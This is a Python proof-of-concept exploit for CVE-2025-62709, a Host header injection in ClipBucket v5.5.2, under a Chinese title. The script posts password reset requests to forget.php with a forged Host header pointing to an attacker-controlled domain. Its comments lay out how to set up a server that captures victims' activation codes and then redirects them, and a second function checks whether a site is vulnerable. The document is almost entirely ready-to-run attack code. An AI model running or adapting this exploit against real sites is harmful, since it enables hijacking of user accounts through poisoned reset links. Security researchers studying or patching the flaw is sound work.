CVE-2025-62709 ClipBucket v5 Host头注入导致密码重置劫持漏洞

import requests # CVE-2025-62709 PoC - Host Header Injection in ClipBucket v5.5.2 # This PoC demonstrates how an attacker can manipulate the Host header # to control password reset links target_url = "http://vulnerable-clipbucket-server.com" attacker_domain = "evil-attacker-controlled-domain.com" def exploit_host_header_injection(): """ Step 1: Send password reset request with malicious Host header """ headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } # Trigger password reset functionality reset_url = f"{target_url}/forget.php" data = { "forget_password": "Submit", "email": "[email protected]" } response = requests.post(reset_url, headers=headers, data=data, allow_redirects=False) print(f"[*] Password reset request sent with malicious Host: {attacker_domain}") print(f"[*] Response Status: {response.status_code}") """ Step 2: Attacker sets up server to capture activation codes The attacker needs to configure their server to: - Host a fake ClipBucket installation at the same path structure - Log all incoming requests to capture activation codes - Redirect users to the legitimate site after capturing the code """ print(f"[*] Attacker should monitor: {attacker_domain}/user.php?mode=activate&code=*") print(f"[*] The password reset link will point to attacker's domain") return True def verify_vulnerability(): """ Step 3: Verify the vulnerability exists by checking if Host header is reflected in generated URLs without sanitization """ headers = { "Host": f"test-{attacker_domain}", "User-Agent": "Mozilla/5.0" } # Check if application uses Host header in URL generation response = requests.get(f"{target_url}/", headers=headers, allow_redirects=True) if attacker_domain in response.text or f"test-{attacker_domain}" in response.text: print("[!] VULNERABLE: Application reflects Host header in responses") return True else: print("[-] NOT VULNERABLE or Host header is properly sanitized") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-62709 - ClipBucket v5 Host Header Injection") print("=" * 60) exploit_host_header_injection() verify_vulnerability()